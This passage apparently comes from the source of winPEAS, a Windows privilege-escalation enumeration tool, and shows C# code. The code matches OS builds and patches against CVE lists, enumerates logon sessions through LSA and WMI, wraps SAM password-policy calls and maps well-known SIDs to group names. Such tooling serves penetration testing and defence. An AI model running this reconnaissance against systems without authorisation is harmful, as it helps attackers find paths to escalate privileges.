(value.Contains(\"x64\"))\n            {\n                return \"x64-based\";\n            }\n            if (value.Contains(\"x86\") || value.Contains(\"32\"))\n            {\n                return \"32-bit\";\n            }\n            return \"x64-based\";\n        }\n\n        private static int GetBuildNumber(string osVersion)\n        {\n            var match = Regex.Match(osVersion ?? \"\", @\"Build\\s+(\\d+)\", RegexOptions.IgnoreCase);\n            return match.Success ? int.Parse(match.Groups[1].Value) : 0;\n        }\n\n        private static string GetServicePack(string osVersion)\n        {\n            var match = Regex.Match(osVersion ?? \"\", @\"Service Pack\\s+(\\d+)\", RegexOptions.IgnoreCase);\n            return match.Success ? match.Groups[1].Value : \"\";\n        }\n\n        private static string GetVersionFromBuild(int build)\n        {\n            string version = \"\";\n            foreach (var kv in BuildNumbers)\n            {\n                if (build == kv.Key)\n                {\n                    return kv.Value;\n                }\n                if (build > kv.Key)\n                {\n                    version = kv.Value;\n                    continue;\n                }\n                break;\n            }\n\n            return version;\n        }\n\n        private static bool Contains(string input, string value)\n        {\n            return (input ?? \"\").IndexOf(value, StringComparison.OrdinalIgnoreCase) >= 0;\n        }\n\n        private static string GetValue(Dictionary<string, string> data, string key)\n        {\n            if (data == null || !data.TryGetValue(key, out var value))\n            {\n                return \"\";\n            }\n\n            return value ?? \"\";\n        }\n\n        private static WindowsVersionDefinitions LoadDefinitions()\n        {\n            if (_cachedDefinitions != null)\n            {\n                return _cachedDefinitions;\n            }\n\n            lock (_cacheLock)\n            {\n                if (_cachedDefinitions != null)\n                {\n                    return _cachedDefinitions;\n                }\n\n                var assembly = Assembly.GetExecutingAssembly();\n                string resourceName = $\"{assembly.GetName().Name}.{DefinitionsFileName}\";\n                using (Stream stream = assembly.GetManifestResourceStream(resourceName))\n                {\n                    if (stream == null)\n                    {\n                        return null;\n                    }\n\n                    using (var reader = new StreamReader(stream))\n                    {\n                        string content = reader.ReadToEnd();\n                        var serializer = new JavaScriptSerializer { MaxJsonLength = int.MaxValue };\n                        _cachedDefinitions = serializer.Deserialize<WindowsVersionDefinitions>(content);\n                    }\n                }\n            }\n\n            return _cachedDefinitions;\n        }\n    }\n\n    internal class WindowsVersionVulnReport\n    {\n        public string DefinitionsDate { get; set; } = \"\";\n        public List<string> CandidateProducts { get; set; } = new List<string>();\n        public List<string> MatchedProducts { get; set; } = new List<string>();\n        public List<WindowsVersionVulnEntry> Vulnerabilities { get; set; } = new List<WindowsVersionVulnEntry>();\n        public int InstalledHotfixesCount { get; set; }\n        public int TotalMatchedBeforeFiltering { get; set; }\n        public int FilteredByPatches { get; set; }\n    }\n\n    internal class WindowsVersionDefinitions\n    {\n        public string generated { get; set; }\n        public Dictionary<string, List<WindowsVersionVulnEntry>> products { get; set; }\n        public Dictionary<string, List<string>> kb_supersedes { get; set; }\n    }\n\n    internal class WindowsVersionVulnEntry\n    {\n        public string cve { get; set; }\n        public string kb { get; set; }\n        public string severity { get; set; }\n        public string impact { get; set; }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/UserInfo/LogonSessions/LogonSessions.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.Management;\nusing System.Runtime.InteropServices;\nusing System.Text.RegularExpressions;\nusing winPEAS.Helpers;\nusing winPEAS.KnownFileCreds.Kerberos;\nusing winPEAS.Native;\nusing winPEAS.Native.Enums;\n\nnamespace winPEAS.Info.UserInfo.LogonSessions\n{\n    internal class LogonSessions\n    {\n        public static IEnumerable<LogonSessionsInfo> GetLogonSessions()\n        {\n            if (!MyUtils.IsHighIntegrity())\n            {\n                // Logon Sessions (via WMI) \n                return GetLogonSessionsInfoWMI();\n            }\n\n            // Logon Sessions (via LSA)\n            return GetLogonSessionsLSA();\n        }\n\n        private static IEnumerable<LogonSessionsInfo> GetLogonSessionsLSA()\n        {\n            var systime = new DateTime(1601, 1, 1, 0, 0, 0, 0); //win32 systemdate\n\n            var ret = Secur32.LsaEnumerateLogonSessions(out var count, out var luidPtr);  // get an array of pointers to LUIDs\n\n            for (ulong i = 0; i < count; i++)\n            {\n                // TODO: Check return value\n                ret = Secur32.LsaGetLogonSessionData(luidPtr, out var sessionData);\n                var data = (SECURITY_LOGON_SESSION_DATA)Marshal.PtrToStructure(sessionData, typeof(SECURITY_LOGON_SESSION_DATA));\n\n                // if we have a valid logon\n                if (data.PSiD != IntPtr.Zero)\n                {\n                    // get the account username\n                    var username = Marshal.PtrToStringUni(data.Username.Buffer).Trim();\n\n                    // convert the security identifier of the user\n                    var sid = new System.Security.Principal.SecurityIdentifier(data.PSiD);\n\n                    // domain for this account\n                    var domain = Marshal.PtrToStringUni(data.LoginDomain.Buffer).Trim();\n\n                    // authentication package\n                    var authpackage = Marshal.PtrToStringUni(data.AuthenticationPackage.Buffer).Trim();\n\n                    // logon type\n                    var logonType = (SECURITY_LOGON_TYPE)data.LogonType;\n\n                    // datetime the session was logged in\n                    var logonTime = systime.AddTicks((long)data.LoginTime);\n\n                    // user's logon server\n                    var logonServer = Marshal.PtrToStringUni(data.LogonServer.Buffer).Trim();\n\n                    // logon server's DNS domain\n                    var dnsDomainName = Marshal.PtrToStringUni(data.DnsDomainName.Buffer).Trim();\n\n                    // user principalname\n                    var upn = Marshal.PtrToStringUni(data.Upn.Buffer).Trim();\n\n                    var logonID = \"\";\n                    try { logonID = data.LoginID.LowPart.ToString(); }\n                    catch { }\n\n                    var userSID = \"\";\n                    try { userSID = sid.Value; }\n                    catch { }\n\n                    yield return new LogonSessionsInfo(\n                        \"LSA\",\n                        username,\n                        domain,\n                        logonID,\n                        logonType.ToString(),\n                        authpackage,\n                        null,\n                        logonTime,\n                        logonServer,\n                        dnsDomainName,\n                        upn,\n                        userSID\n                    );\n                }\n\n                // move the pointer forward\n                luidPtr = (IntPtr)((long)luidPtr.ToInt64() + Marshal.SizeOf(typeof(LUID)));\n                Secur32.LsaFreeReturnBuffer(sessionData);\n            }\n            Secur32.LsaFreeReturnBuffer(luidPtr);\n        }\n\n        private static IEnumerable<LogonSessionsInfo> GetLogonSessionsInfoWMI()\n        {\n            // https://www.pinvoke.net/default.aspx/secur32.lsalogonuser\n\n            // list user logons combined with logon session data via WMI\n            var userDomainRegex = new Regex(@\"Domain=\"\"(.*)\"\",Name=\"\"(.*)\"\"\");\n            var logonIdRegex = new Regex(@\"LogonId=\"\"(\\d+)\"\"\");\n\n            // Logon Sessions (via WMI) \n            var logonMap = new Dictionary<string, string[]>();\n\n            // Win32_LoggedOnUser\n            using (var wmiData = new ManagementObjectSearcher(@\"root\\cimv2\", \"SELECT * FROM Win32_LoggedOnUser\"))\n            {\n                using (var data = wmiData.Get())\n                {\n                    foreach (ManagementObject result in data)\n                    {\n                        var m = logonIdRegex.Match(result[\"Dependent\"].ToString());\n                        if (!m.Success)\n                        {\n                            continue;\n                        }\n\n                        var logonId = m.Groups[1].ToString();\n                        var m2 = userDomainRegex.Match(result[\"Antecedent\"].ToString());\n                        if (!m2.Success)\n                        {\n                            continue;\n                        }\n\n                        var domain = m2.Groups[1].ToString();\n                        var user = m2.Groups[2].ToString();\n                        logonMap.Add(logonId, new[] { domain, user });\n                    }\n                }\n            }\n\n            // Win32_LogonSession\n            using (var wmiData2 = new ManagementObjectSearcher(@\"root\\cimv2\", \"SELECT * FROM Win32_LogonSession\"))\n            {\n                using (var data2 = wmiData2.Get())\n                {\n                    foreach (var o in data2)\n                    {\n                        var result2 = (ManagementObject)o;\n                        var userDomain = new string[2] { \"\", \"\" };\n                        try\n                        {\n                            userDomain = logonMap[result2[\"LogonId\"].ToString()];\n                        }\n                        catch { }\n                        var domain = userDomain[0];\n                        var userName = userDomain[1];\n                        var startTime = new DateTime();\n                        var logonType = \"\";\n\n                        try\n                        {\n                            startTime = ManagementDateTimeConverter.ToDateTime(result2[\"StartTime\"].ToString());\n                        }\n                        catch { }\n\n                        try\n                        {\n                            logonType = $\"{((SECURITY_LOGON_TYPE)(int.Parse(result2[\"LogonType\"].ToString())))}\";\n                        }\n                        catch { }\n\n                        yield return new LogonSessionsInfo(\n                            \"WMI\",\n                            userName,\n                            domain,\n                            result2[\"LogonId\"].ToString(),\n                            logonType,\n                            result2[\"AuthenticationPackage\"].ToString(),\n                            startTime,\n                            null,\n                            null,\n                            null,\n                            null,\n                            null\n                        );\n                    }\n                }\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/UserInfo/LogonSessions/LogonSessionsInfo.cs",
    "content": "﻿using System;\n\nnamespace winPEAS.Info.UserInfo.LogonSessions\n{\n    internal class LogonSessionsInfo\n    {\n        public string Method { get; }\n        public string UserName { get; }\n        public string Domain { get; }\n        public string LogonId { get; }\n        public string LogonType { get; }\n        public string AuthenticationPackage { get; }\n        public DateTime? StartTime { get; }\n        public DateTime? LogonTime { get; }\n        public string LogonServer { get; }\n        public string LogonServerDnsDomain { get; }\n        public string UserPrincipalName { get; }\n        public string UserSID { get; }\n\n        public LogonSessionsInfo(\n            string method,\n            string userName,\n            string domain,\n            string logonId,\n            string logonType,\n            string authenticationPackage,\n            DateTime? startTime,\n            DateTime? logonTime,\n            string logonServer,\n            string logonServerDnsDomain,\n            string userPrincipalName,\n            string userSid)\n        {\n            Method = method;\n            UserName = userName;\n            Domain = domain;\n            LogonId = logonId;\n            LogonType = logonType;\n            AuthenticationPackage = authenticationPackage;\n            StartTime = startTime;\n            LogonTime = logonTime;\n            LogonServer = logonServer;\n            LogonServerDnsDomain = logonServerDnsDomain;\n            UserPrincipalName = userPrincipalName;\n            UserSID = userSid;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/UserInfo/SAM/Enums.cs",
    "content": "﻿using System;\n\nnamespace winPEAS.Info.UserInfo.SAM\n{\n    public enum DOMAIN_INFORMATION_CLASS\n    {\n        DomainPasswordInformation = 1,\n    }\n\n    [Flags]\n    public enum PASSWORD_PROPERTIES\n    {\n        DOMAIN_PASSWORD_COMPLEX = 0x00000001,\n        DOMAIN_PASSWORD_NO_ANON_CHANGE = 0x00000002,\n        DOMAIN_PASSWORD_NO_CLEAR_CHANGE = 0x00000004,\n        DOMAIN_LOCKOUT_ADMINS = 0x00000008,\n        DOMAIN_PASSWORD_STORE_CLEARTEXT = 0x00000010,\n        DOMAIN_REFUSE_PASSWORD_CHANGE = 0x00000020,\n    }\n\n    [Flags]\n    public enum DOMAIN_ACCESS_MASK\n    {\n        DOMAIN_READ_PASSWORD_PARAMETERS = 0x00000001,\n        DOMAIN_WRITE_PASSWORD_PARAMS = 0x00000002,\n        DOMAIN_READ_OTHER_PARAMETERS = 0x00000004,\n        DOMAIN_WRITE_OTHER_PARAMETERS = 0x00000008,\n        DOMAIN_CREATE_USER = 0x00000010,\n        DOMAIN_CREATE_GROUP = 0x00000020,\n        DOMAIN_CREATE_ALIAS = 0x00000040,\n        DOMAIN_GET_ALIAS_MEMBERSHIP = 0x00000080,\n        DOMAIN_LIST_ACCOUNTS = 0x00000100,\n        DOMAIN_LOOKUP = 0x00000200,\n        DOMAIN_ADMINISTER_SERVER = 0x00000400,\n        DOMAIN_ALL_ACCESS = 0x000F07FF,\n        DOMAIN_READ = 0x00020084,\n        DOMAIN_WRITE = 0x0002047A,\n        DOMAIN_EXECUTE = 0x00020301\n    }\n\n    [Flags]\n    public enum SERVER_ACCESS_MASK\n    {\n        SAM_SERVER_CONNECT = 0x00000001,\n        SAM_SERVER_SHUTDOWN = 0x00000002,\n        SAM_SERVER_INITIALIZE = 0x00000004,\n        SAM_SERVER_CREATE_DOMAIN = 0x00000008,\n        SAM_SERVER_ENUMERATE_DOMAINS = 0x00000010,\n        SAM_SERVER_LOOKUP_DOMAIN = 0x00000020,\n        SAM_SERVER_ALL_ACCESS = 0x000F003F,\n        SAM_SERVER_READ = 0x00020010,\n        SAM_SERVER_WRITE = 0x0002000E,\n        SAM_SERVER_EXECUTE = 0x00020021\n    }\n\n    public enum NTSTATUS\n    {\n        STATUS_SUCCESS = 0x0,\n        STATUS_MORE_ENTRIES = 0x105,\n        STATUS_INVALID_HANDLE = unchecked((int)0xC0000008),\n        STATUS_INVALID_PARAMETER = unchecked((int)0xC000000D),\n        STATUS_ACCESS_DENIED = unchecked((int)0xC0000022),\n        STATUS_OBJECT_TYPE_MISMATCH = unchecked((int)0xC0000024),\n        STATUS_NO_SUCH_DOMAIN = unchecked((int)0xC00000DF),\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/UserInfo/SAM/SamServer.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.Runtime.InteropServices;\nusing System.Security.Principal;\nusing winPEAS.Native;\nusing winPEAS.Native.Classes;\n\nnamespace winPEAS.Info.UserInfo.SAM\n{\n    public sealed class SamServer : IDisposable\n    {\n        private IntPtr _handle;\n\n        public SamServer(string name, SERVER_ACCESS_MASK access)\n        {\n            Name = name;\n            Check(Samlib.SamConnect(new UNICODE_STRING(name), out _handle, access, IntPtr.Zero));\n        }\n\n        public string Name { get; }\n\n        public void Dispose()\n        {\n            if (_handle != IntPtr.Zero)\n            {\n                Samlib.SamCloseHandle(_handle);\n                _handle = IntPtr.Zero;\n            }\n        }\n\n        public void SetDomainPasswordInformation(SecurityIdentifier domainSid, DOMAIN_PASSWORD_INFORMATION passwordInformation)\n        {\n            if (domainSid == null)\n                throw new ArgumentNullException(nameof(domainSid));\n\n            var sid = new byte[domainSid.BinaryLength];\n            domainSid.GetBinaryForm(sid, 0);\n\n            Check(Samlib.SamOpenDomain(_handle, DOMAIN_ACCESS_MASK.DOMAIN_WRITE_PASSWORD_PARAMS, sid, out IntPtr domain));\n            IntPtr info = Marshal.AllocHGlobal(Marshal.SizeOf(passwordInformation));\n            Marshal.StructureToPtr(passwordInformation, info, false);\n            try\n            {\n                Check(Samlib.SamSetInformationDomain(domain, DOMAIN_INFORMATION_CLASS.DomainPasswordInformation, info));\n            }\n            finally\n            {\n                Marshal.FreeHGlobal(info);\n                Samlib.SamCloseHandle(domain);\n            }\n        }\n\n        public DOMAIN_PASSWORD_INFORMATION GetDomainPasswordInformation(SecurityIdentifier domainSid)\n        {\n            if (domainSid == null)\n                throw new ArgumentNullException(nameof(domainSid));\n\n            var sid = new byte[domainSid.BinaryLength];\n            domainSid.GetBinaryForm(sid, 0);\n\n            Check(Samlib.SamOpenDomain(_handle, DOMAIN_ACCESS_MASK.DOMAIN_READ_PASSWORD_PARAMETERS, sid, out IntPtr domain));\n            var info = IntPtr.Zero;\n            try\n            {\n                Check(Samlib.SamQueryInformationDomain(domain, DOMAIN_INFORMATION_CLASS.DomainPasswordInformation, out info));\n                return (DOMAIN_PASSWORD_INFORMATION)Marshal.PtrToStructure(info, typeof(DOMAIN_PASSWORD_INFORMATION));\n            }\n            finally\n            {\n                Samlib.SamFreeMemory(info);\n                Samlib.SamCloseHandle(domain);\n            }\n        }\n\n        public SecurityIdentifier GetDomainSid(string domain)\n        {\n            if (domain == null)\n                throw new ArgumentNullException(nameof(domain));\n\n            Check(Samlib.SamLookupDomainInSamServer(_handle, new UNICODE_STRING(domain), out IntPtr sid));\n            return new SecurityIdentifier(sid);\n        }\n\n        public IEnumerable<string> EnumerateDomains()\n        {\n            int cookie = 0;\n            while (true)\n            {\n                var status = Samlib.SamEnumerateDomainsInSamServer(_handle, ref cookie, out IntPtr info, 1, out int count);\n                if (status != NTSTATUS.STATUS_SUCCESS && status != NTSTATUS.STATUS_MORE_ENTRIES)\n                    Check(status);\n\n                if (count == 0)\n                    break;\n\n                var us = (UNICODE_STRING)Marshal.PtrToStructure(info + IntPtr.Size, typeof(UNICODE_STRING));\n                Samlib.SamFreeMemory(info);\n                yield return us.ToString();\n                us.Buffer = IntPtr.Zero; // we don't own this one\n            }\n        }\n\n\n\n        private static void Check(NTSTATUS err)\n        {\n            if (err == NTSTATUS.STATUS_SUCCESS)\n                return;\n\n            //throw new System.ComponentModel.Win32Exception(\"Error \" + err + \" (0x\" + ((int)err).ToString(\"X8\") + \")\");\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/UserInfo/SAM/Structs.cs",
    "content": "﻿using System;\nusing System.Runtime.InteropServices;\n\nnamespace winPEAS.Info.UserInfo.SAM\n{\n    [StructLayout(LayoutKind.Sequential)]\n    public struct DOMAIN_PASSWORD_INFORMATION\n    {\n        public short MinPasswordLength;\n        public short PasswordHistoryLength;\n        public PASSWORD_PROPERTIES PasswordProperties;\n        private long _maxPasswordAge;\n        private long _minPasswordAge;\n\n        public TimeSpan MaxPasswordAge\n        {\n            get\n            {\n                if (_maxPasswordAge == long.MinValue)\n                {\n                    return TimeSpan.MinValue;\n                }\n                return -new TimeSpan(_maxPasswordAge);\n            }\n            set\n            {\n                _maxPasswordAge = value.Ticks;\n            }\n        }\n\n        public TimeSpan MinPasswordAge\n        {\n            get\n            {\n                if (_minPasswordAge == long.MinValue)\n                {\n                    return TimeSpan.MinValue;\n                }\n                return -new TimeSpan(_minPasswordAge);\n            }\n            set\n            {\n                _minPasswordAge = value.Ticks;\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/UserInfo/SID2GroupNameHelper.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.Net.NetworkInformation;\nusing System.Security.Principal;\nusing winPEAS.Helpers;\n\nnamespace winPEAS.Info.UserInfo\n{\n    internal class SID2GroupNameHelper\n    {\n        public static string StaticSID2GroupName(string SID)\n        {\n            Dictionary<string, string> knownSidDic = new Dictionary<string, string>()\n            {\n                //From https://support.microsoft.com/en-us/help/243330/well-known-security-identifiers-in-windows-operating-systems\n                { \"S-1-0\", \"Null Authority\" }, //An identifier authority.\n                { \"S-1-0-0\", \"Nobody\" }, //No security principal.\n                { \"S-1-1\", \"World Authority\" }, //An identifier authority.\n                { \"S-1-1-0\", \"Everyone\" }, //A group that includes all users, even anonymous users and guests. Membership is controlled by the operating system.\n                { \"S-1-2\", \"Local Authority\" }, //An identifier authority.\n                { \"S-1-2-0\", \"Local\" }, //A group that includes all users who have logged on locally.\n                { \"S-1-3\", \"Creator Authority\" }, //An identifier authority.\n                { \"S-1-3-0\", \"Creator Owner\" }, //A placeholder in an inheritable access control entry (ACE). When the ACE is inherited, the system replaces this SID with the SID for the object's creator.\n                { \"S-1-3-1\", \"Creator Group\" }, //A placeholder in an inheritable ACE. When the ACE is inherited, the system replaces this SID with the SID for the primary group of the object's creator. The primary group is used only by the POSIX subsystem.\n                { \"S-1-3-4\", \"Owner Rights\" }, //A group that represents the current owner of the object. When an ACE that carries this SID is applied to an object, the system ignores the implicit READ_CONTROL and WRITE_DAC permissions for the object owner.\n                { \"S-1-4\", \"Non-unique Authority\" }, //An identifier authority.\n                { \"S-1-5\", \"NT Authority\" }, //An identifier authority.\n                { \"S-1-5-1\", \"Dialup\" }, //A group that includes all users who have logged on through a dial-up connection. Membership is controlled by the operating system.\n                { \"S-1-5-2\", \"Network\" }, //A group that includes all users that have logged on through a network connection. Membership is controlled by the operating system.\n                { \"S-1-5-3\", \"Batch\" }, //A group that includes all users that have logged on through a batch queue facility. Membership is controlled by the operating system.\n                { \"S-1-5-4\", \"Interactive\" }, //A group that includes all users that have logged on interactively. Membership is controlled by the operating system.               \n                { \"S-1-5-6\", \"Service\" }, //A group that includes all security principals that have logged on as a service. Membership is controlled by the operating system.\n                { \"S-1-5-7\", \"Anonymous\" }, //A group that includes all users that have logged on anonymously. Membership is controlled by the operating system.\n                { \"S-1-5-9\", \"Enterprise Domain Controllers\" }, //A group that includes all domain controllers in a forest that uses an Active Directory directory service. Membership is controlled by the operating system.\n                { \"S-1-5-10\", \"Principal Self\" }, //A placeholder in an inheritable ACE on an account object or group object in Active Directory. When the ACE is inherited, the system replaces this SID with the SID for the security principal who holds the account.\n                { \"S-1-5-11\", \"Authenticated Users\" }, //A group that includes all users whose identities were authenticated when they logged on. Membership is controlled by the operating system.\n                { \"S-1-5-12\", \"Restricted Code\" }, //This SID is reserved for future use.\n                { \"S-1-5-13\", \"Terminal Server Users\" }, //Terminal Server Users\n                { \"S-1-5-14\", \"Remote Interactive Logon\" }, //Remote Interactive Logon\n                { \"S-1-5-17\", \"This Organization\" }, //An account that is used by the default Internet Information Services (IIS) user.\n                { \"S-1-5-18\", \"Local System\" }, //A service account that is used by the operating system.\n                { \"S-1-5-19\", \"NT Authority\\\\Local Service\" },\n                { \"S-1-5-20\", \"NT Authority\\\\Network Service\" },\n                { \"S-1-5-32-544\", \"Administrators\" }, //A built-in group. After the initial installation of the operating system, the only member of the group is the Administrator account. When a computer joins a domain, the Domain Admins group is added to the Administrators group. When a server becomes a domain controller, the Enterprise Admins group also is added to the Administrators group.\n                { \"S-1-5-32-545\", \"Users\" }, //A built-in group. After the initial installation of the operating system, the only member is the Authenticated Users group. When a computer joins a domain, the Domain Users group is added to the Users group on the computer.\n                { \"S-1-5-32-546\", \"Guests\" }, //A built-in group. By default, the only member is the Guest account. The Guests group allows occasional or one-time users to log on with limited privileges to a computer's built-in Guest account.\n                { \"S-1-5-32-547\", \"Power Users\" }, //A built-in group. By default, the group has no members. Power users can create local users and groups; modify and delete accounts that they have created; and remove users from the Power Users, Users, and Guests groups. Power users also can install programs; create, manage, and delete local printers; and create and delete file shares.\n                { \"S-1-5-32-548\", \"Account Operators\" }, //A built-in group that exists only on domain controllers. By default, the group has no members. By default, Account Operators have permission to create, modify, and delete accounts for users, groups, and computers in all containers and organizational units of Active Directory except the Builtin container and the Domain Controllers OU. Account Operators do not have permission to modify the Administrators and Domain Admins groups, nor do they have permission to modify the accounts for members of those groups.\n                { \"S-1-5-32-549\", \"Server Operators\" }, //A built-in group that exists only on domain controllers. By default, the group has no members. Server Operators can log on to a server interactively; create and delete network shares; start and stop services; back up and restore files; format the hard disk of the computer; and shut down the computer.\n                { \"S-1-5-32-550\", \"Print Operators\" }, //A built-in group that exists only on domain controllers. By default, the only member is the Domain Users group. Print Operators can manage printers and document queues.\n                { \"S-1-5-32-551\", \"Backup Operators\" }, //A built-in group. By default, the group has no members. Backup Operators can back up and restore all files on a computer, regardless of the permissions that protect those files. Backup Operators also can log on to the computer and shut it down.\n                { \"S-1-5-32-552\", \"Replicators\" }, //A built-in group that is used by the File Replication service on domain controllers. By default, the group has no members. Do not add users to this group.\n                { \"S-1-5-32-582\", \"Storage Replica Administrators\" }, //A built-in group that grants complete and unrestricted access to all features of Storage Replica.\n                { \"S-1-5-64-10\", \"NTLM Authentication\" }, //An SID that is used when the NTLM authentication package authenticated the client.\n                { \"S-1-5-64-14\", \"SChannel Authentication\" }, //An SID that is used when the SChannel authentication package authenticated the client.\n                { \"S-1-5-64-21\", \"Digest Authentication\" }, //An SID that is used when the Digest authentication package authenticated the client.\n                { \"S-1-5-80\", \"NT Service\" }, //An NT Service account prefix.\n                { \"S-1-3-2\", \"Creator Owner Server\" }, //This SID is not used in Windows 2000.\n                { \"S-1-3-3\", \"Creator Group Server\" }, //This SID is not used in Windows 2000.\n                { \"S-1-5-8\", \"Proxy\" }, //This SID is not used in Windows 2000.\n                { \"S-1-5-15\", \"This Organization\" }, //A group that includes all users from the same organization. Only included with AD accounts and only added by a Windows Server 2003 or later domain controller.\n                { \"S-1-5-32-554\", \"Builtin\\\\Pre-Windows 2000 Compatible Access\" }, //An alias added by Windows 2000. A backward compatibility group which allows read access on all users and groups in the domain.\n                { \"S-1-5-32-555\", \"Builtin\\\\Remote Desktop Users\" }, //An alias. Members in this group are granted the right to log on remotely.\n                { \"S-1-5-32-556\", \"Builtin\\\\Network Configuration Operators\" }, //An alias. Members in this group can have some administrative privileges to manage configuration of networking features.\n                { \"S-1-5-32-557\", \"Builtin\\\\Incoming Forest Trust Builders\" }, //An alias. Members of this group can create incoming, one-way trusts to this forest.\n                { \"S-1-5-32-558\", \"Builtin\\\\Performance Monitor Users\" }, //An alias. Members of this group have remote access to monitor this computer.\n                { \"S-1-5-32-559\", \"Builtin\\\\Performance Log Users\" }, //An alias. Members of this group have remote access to schedule logging of performance counters on this computer.\n                { \"S-1-5-32-560\", \"Builtin\\\\Windows Authorization Access Group\" }, //An alias. Members of this group have access to the computed tokenGroupsGlobalAndUniversal attribute on User objects.\n                { \"S-1-5-32-561\", \"Builtin\\\\Terminal Server License Servers\" }, //An alias. A group for Terminal Server License Servers. When Windows Server 2003 Service Pack 1 is installed, a new local group is created.\n                { \"S-1-5-32-562\", \"Builtin\\\\Distributed COM Users\" }, //An alias. A group for COM to provide computerwide access controls that govern access to all call, activation, or launch requests on the computer.\n                { \"S-1-2-1\", \"Console Logon\" }, //A group that includes users who are logged on to the physical console.\n                { \"S-1-5-32-569\", \"\tBuiltin\\\\Cryptographic Operators\" }, //A built-in local group. Members are authorized to perform cryptographic operations.\n                { \"S-1-5-32-573\", \"Builtin\\\\Event Log Readers\" }, //A built-in local group. Members of this group can read event logs from local computer.\n                { \"S-1-5-32-574\", \"Builtin\\\\Certificate Service DCOM Access\" }, //A built-in local group. Members of this group are allowed to connect to Certification Authorities in the enterprise.\n                { \"S-1-5-80-0\", \"NT Services\\\\All Services\" }, //A group that includes all service processes that are configured on the system. Membership is controlled by the operating system.\n                { \"S-1-5-83-0\", \"NT Virtual Machine\\\\Virtual Machines\" }, //A built-in group. The group is created when the Hyper-V role is installed. Membership in the group is maintained by the Hyper-V Management Service (VMMS). This group requires the Create Symbolic Links right (SeCreateSymbolicLinkPrivilege), and also the Log on as a Service right (SeServiceLogonRight).\n                { \"S-1-5-90-0\", \"Windows Manager\\\\Windows Manager Group\" }, //A built-in group that is used by the Desktop Window Manager (DWM). DWM is a Windows service that manages information display for Windows applications.\n                { \"S-1-16-0\", \"Untrusted Mandatory Level\" }, //An untrusted integrity level.\n                { \"S-1-16-4096\", \"Low Mandatory Level\" }, //A low integrity level.\n                { \"S-1-16-8192\", \"Medium Mandatory Level\" }, //A medium integrity level.\n                { \"S-1-16-8448\", \"Medium Plus Mandatory Level\" }, //A medium plus integrity level.\n                { \"S-1-16-12288\", \"High Mandatory Level\" }, //A high integrity level.\n                { \"S-1-16-16384\", \"System Mandatory Level\" }, //A system integrity level.\n                { \"S-1-16-20480\", \"Protected Process Mandatory Level\" }, //A protected-process integrity level.\n                { \"S-1-16-28672\", \"Secure Process Mandatory Level\" }, //A secure process integrity level.\n                { \"S-1-5-32-575\", \"Builtin\\\\RDS Remote Access Servers\" }, //A built-in local group. Servers in this group enable users of RemoteApp programs and personal virtual desktops access to these resources. In Internet-facing deployments, these servers are typically deployed in an edge network. This group needs to be populated on servers running RD Connection Broker. RD Gateway servers and RD Web Access servers used in the deployment need to be in this group.\n                { \"S-1-5-32-576\", \"Builtin\\\\RDS Endpoint Servers\" }, //A built-in local group. Servers in this group run virtual machines and host sessions where users RemoteApp programs and personal virtual desktops run. This group needs to be populated on servers running RD Connection Broker. RD Session Host servers and RD Virtualization Host servers used in the deployment need to be in this group.\n                { \"S-1-5-32-577\", \"Builtin\\\\RDS Management Servers\" }, //A builtin local group. Servers in this group can perform routine administrative actions on servers running Remote Desktop Services. This group needs to be populated on all servers in a Remote Desktop Services deployment. The servers running the RDS Central Management service must be included in this group.\n                { \"S-1-5-32-578\", \"Builtin\\\\Hyper-V Administrators\" }, //A built-in local group. Members of this group have complete and unrestricted access to all features of Hyper-V.\n                { \"S-1-5-32-579\", \"Builtin\\\\Access Control Assistance Operators\" }, //A built-in local group. Members of this group can remotely query authorization attributes and permissions for resources on this computer.\n                { \"S-1-5-32-580\", \"Builtin\\\\Remote Management Users\" }, //A built-in local group. Members of this group can access WMI resources over management protocols (such as WS-Management via the Windows Remote Management service). This applies only to WMI namespaces that grant access to the user.\n                { \"S-1-5-113\" , \"Local account\" },\n                { \"S-1-5-114\" , \"Local account and member of Administrators group\" },\n                { \"S-1-5-64-36\" , \"Cloud Account Authentication\" },\n            };\n\n            var knownDomainSidsDic = new Dictionary<string, string>()\n            {\n                // starts with \"S-1-5-21\"\n               { \"498\", \"Enterprise Read-only Domain Controllers\" }, //A universal group. Members of this group are read-only domain controllers in the enterprise.\n               { \"500\", \"Administrator\" }, //A user account for the system administrator. By default, it is the only user account that is given full control over the system.\n               { \"501\", \"Guest\" }, //A user account for people who do not have individual accounts. This user account does not require a password. By default, the Guest account is disabled.\n               { \"502\", \"KRBTGT\" }, //A service account that is used by the Key Distribution Center (KDC) service.\n               { \"512\", \"Domain Admins\" }, //A global group whose members are authorized to administer the domain. By default, the Domain Admins group is a member of the Administrators group on all computers that have joined a domain, including the domain controllers. Domain Admins is the default owner of any object that is created by any member of the group.\n               { \"513\", \"Domain Users\" }, //A global group that, by default, includes all user accounts in a domain. When you create a user account in a domain, it is added to this group by default.\n               { \"514\", \"Domain Guests\" }, //A global group that, by default, has only one member, the domain's built-in Guest account.\n               { \"515\", \"Domain Computers\" }, //A global group that includes all clients and servers that have joined the domain.\n               { \"516\", \"Domain Controllers\" }, //A global group that includes all domain controllers in the domain. New domain controllers are added to this group by default.\n               { \"517\", \"Cert Publishers\" }, //A global group that includes all computers that are running an enterprise certification authority. Cert Publishers are authorized to publish certificates for User objects in Active Directory.\n               { \"518\", \"Schema Admins\" }, //A universal group in a native-mode domain; a global group in a mixed-mode domain. The group is authorized to make schema changes in Active Directory. By default, the only member of the group is the Administrator account for the forest root domain.\n               { \"519\", \"Enterprise Admins\" }, //A universal group in a native-mode domain; a global group in a mixed-mode domain. The group is authorized to make forest-wide changes in Active Directory, such as adding child domains. By default, the only member of the group is the Administrator account for the forest root domain.\n               { \"520\", \"Group Policy Creator Owners\" }, //A global group that is authorized to create new Group Policy objects in Active Directory. By default, the only member of the group is Administrator.\n               { \"521\", \"Read-only Domain Controllers\" }, //A global group. Members of this group are read-only domain controllers in the domain.               